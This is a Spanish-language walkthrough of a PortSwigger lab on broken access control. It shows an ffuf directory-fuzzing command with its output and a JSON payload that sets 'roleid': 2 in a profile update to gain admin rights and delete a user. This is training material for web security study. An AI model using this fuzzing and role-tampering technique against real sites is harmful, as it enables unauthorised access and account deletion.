User role can be modified in user profile
Laboratorio de Portswigger sobre Broken Access Control
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio tiene un panel de administración en /admin. Solo es accesible para usuarios autenticados con un roleid de 2. Para resolver el laboratorio, debemos acceder al panel de administración y eliminar al usuario carlos. Podemos iniciar sesión en tu nuestra cuenta con las siguientes credenciales wiener:peter
Resolución
Al acceder a la web nos sale esto
Pulsamos en My account y nos logueamos con las credenciales wiener:peter
Fuzzeamos rutas y encontramos una llamada /admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# ffuf -c -t 20 -w /usr/share/seclists/Discovery/Web-Content/common.txt -u https://0a0600100345e4df8263e5a700810033.web-security-academy.net/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://0a0600100345e4df8263e5a700810033.web-security-academy.net/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 20
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
ADMIN [Status: 401, Size: 2588, Words: 1053, Lines: 54, Duration: 63ms]
Admin [Status: 401, Size: 2588, Words: 1053, Lines: 54, Duration: 59ms]
Login [Status: 200, Size: 3051, Words: 1287, Lines: 63, Duration: 67ms]
admin [Status: 401, Size: 2588, Words: 1053, Lines: 54, Duration: 61ms]
analytics [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 55ms]
favicon.ico [Status: 200, Size: 15406, Words: 11, Lines: 1, Duration: 56ms]
filter [Status: 200, Size: 10778, Words: 5080, Lines: 199, Duration: 63ms]
login [Status: 200, Size: 3051, Words: 1287, Lines: 63, Duration: 61ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 60ms]
my-account [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 59ms]
Si accedemos a /admin nos muestra este mensaje
En la parte de My account vemos que podemos actualizar nuestro email
Si interceptamos la petición mediante Burpsuite vemos esto
Si enviamos la petición, esta es la repuesta que recibimos
Podemos enviar este payload en el cual cambiamos nuestro roleid a 2 con el fin de escalar privilegios
1
2
3
4
{
"email":"wiener@normal-user.net",
"roleid": 2
}
Una vez ascendido nuestro privilegio ya podemos acceder a /admin, borrar al usuario carlos y ascender nuestro privilegio







